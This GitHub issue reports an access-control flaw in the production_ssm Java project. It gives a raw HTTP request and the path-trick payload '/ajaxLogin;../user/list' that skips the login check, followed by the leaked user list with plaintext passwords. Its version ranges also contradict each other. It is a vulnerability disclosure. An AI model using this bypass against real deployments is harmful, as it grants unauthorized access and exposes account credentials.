

New issue



There is an Incorrect Access Control vulnerability in production_ssm #33

Open



RacerZ-fighting opened on Mar 19



[Suggested description]

production_ssm was found to have an Incorrect Access Control vulnerability up to 3.0.0, resulting in information leakage.

[Vulnerability Type]

Incorrect access control

[Vendor of Product]

https://github.com/megagao/production_ssm

[Affected Product Code Base]

all version (<= 0.0.1-SNAPSHOT)

[Affected Component]

sensitive APIs that require authentication

[Attack Type]

Remote

[Vulnerability details]

Directly send the payload below to the API /user/list will fail because of the authentication.

```
GET /user/list?page=1&rows=30 HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Apifox/1.0.0 (https://apifox.com)
Accept: */*
Host: 127.0.0.1:8080
Connection: keep-alive
Cookie: JSESSIONID=24B8C393A309ECC992942717C1AC7702; ycyintang.session.id=5fd02426-2fe7-4cc7-9e23-4886ac0d7107
Referer: http://127.0.0.1:8080/user/list?page=1&rows=30
```



GET

http://127.0.0.1:8080/user/list?page=1&rows=30

RacerZ

Running at Mar 17, 2025 at 21:05:15

Params2

Body

Headers

Cookies

Pre Processors

Post Processors

Auth

Settings

Query Params

Name	Value	Type	Description
✓page	= 1	string	▼
✓rows	= 30	string	▼
Add a new param			

Body

Cookies2

Headers6

Console

Actual Request

Share

Pretty

Raw

Preview

Visualize

Download

Copy

管理系统

管理系统登录

用户名

密码

☒ 记住密码

登录

However, send the payload below to the API `/ajaxLogin;../user/list` will bypass the authentication.

This request does not have a body.

```
{
  "total": 9,
  "rows": [
    {
      "id": "001",
      "username": "王经理",
      "password": "11",
      "locked": "1",
      "roleName": "超级管理员",
      "roleId": "001"
    },
    {
      "id": "003",
      "username": "张三",
      "password": "aaa",
      "locked": "1",
      "roleName": "订单管理员",
      "roleId": "002"
    },
    {
      "id": "004",
      "username": "aa",
      "password": "aa",
      "locked": "1",
      "roleName": "普通用户",
      "roleId": "005"
    },
    {
      "id": "002",
      "username": "22",
      "password": "22",
      "locked": "1",
      "roleName": "超级管理员",
      "roleId": "001"
    },
    {
      "id": "005",
      "username": "11",
      "password": "11",
      "locked": "1",
      "roleName": "订单管理员",
      "roleId": "002"
    },
    {
      "id": "321321",
      "username": "55",
      "password": "55",
      "locked": "1",
      "roleName": "物料管理员",
      "roleId": "004"
    },
    {
      "id": "3213",
      "username": "ga",
      "password": "22",
      "locked": "1",
      "roleName": "普通用户",
      "roleId": "005"
    },
    {
      "id": "006",
      "username": "王二",
      "password": "12345",
      "locked": "2",
      "roleName": "订单管理员",
      "roleId": "002"
    },
    {
      "id": "007",
      "username": "李大山",
      "password": "11",
      "locked": "1",
      "roleName": "物料管理员",
      "roleId": "004"
    }
  ]
}
```

Sign up for free to join this conversation on GitHub. Already have an account? [Sign in to comment](#)

Assignees

No one assigned

Labels

No labels

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

Code with Copilot Agent Mode

▼

No branches or pull requests

Participants

